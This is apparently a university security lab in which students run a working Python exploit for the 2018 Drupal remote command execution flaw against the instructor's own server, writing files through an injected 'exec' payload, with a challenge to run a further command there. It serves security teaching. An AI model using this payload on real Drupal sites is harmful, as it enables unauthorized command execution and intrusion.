Drupal Command Injection (15 Points)

What You Need

Any computer with Python (either 2.7 or 3).

Background

In April, 2018, a critical Drupal vulnerability was announced, and exploit code became available, as detailed here:

https://thehackernews.com/2018/04/drupal-rce-exploit-code.html

In this project, you'll perform that attack.

Viewing the Vulnerable Website

In a browser, go to:

http://drupaldirect.samsclass.info

It's just a default installation of Drupal, as shown below.

Troubleshooting

One college I taught at had aggressive network filtering and blocked this attack. If that happens, use the encrypted site at this URL:

https://drupal.samsclass.info/

Replace the URL in the script with the HTTPS version. It may load imperfectly, and look messy, but the attack will work.

Preparing the Attack

Using a text editor, such as nano or Notepad, create a file named dru.py containing this code: 
import sys
import requests

# Based on https://github.com/a2u/CVE-2018-7600 by Vitalii Rudnykh

target = "http://drupaldirect.samsclass.info/"

url = target + 'user/register?element_parents=account/mail/' \
      + '%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
      
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 
           'mail[#post_render][]': 'exec', 'mail[#type]': 'markup',
           'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, data=payload)

check = requests.get(target + 'hello.txt')
if check.status_code != 200:
  sys.exit("Not exploitable")
  
print ('\nCheck: '+target+'hello.txt')

Running the Attack

In a Terminal or Command Prompt window, execute this command: 
python dru.py
The attack succeeds, creating a file named "hello" on my server, as shown below.

In a Web browser, open this URL:

https://drupal.samsclass.info/hello.txt

You see a smiley face emoticon, as shown below.

Modifying the Attack

Create a new file named dru2.py and enter this code, replacing "YOURNAME" with your name: 
import sys
import requests

# Based on https://github.com/a2u/CVE-2018-7600 by Vitalii Rudnykh

target = "http://drupaldirect.samsclass.info/"

url = target + 'user/register?element_parents=account/mail/' \
      + '%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
      
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 
           'mail[#post_render][]': 'exec', 'mail[#type]': 'markup',
           'mail[#markup]': 'echo "YOURNAME" | tee YOURNAME.txt'}

r = requests.post(url, data=payload)

check = requests.get(target + 'YOURNAME.txt')
if check.status_code != 200:
  sys.exit("Not exploitable")
  
print ('\nCheck: '+target+'YOURNAME.txt')

The attack succeeds, as shown below.

You can see the new file on my Drupal server, as shown below.

Challenge

Modify the exploit to execute this command line on my Drupal server: 
win.py "YOUR NAME"
That will add your name to a sream in the Samchain blockchain, and you will appear on the

Winners Board

Resources

How to install Drupal
Posted: 6-21-18 by Sam Bowne
Changed to https 6-21-18
Changed to default back to http and merely discuss https 6-21-18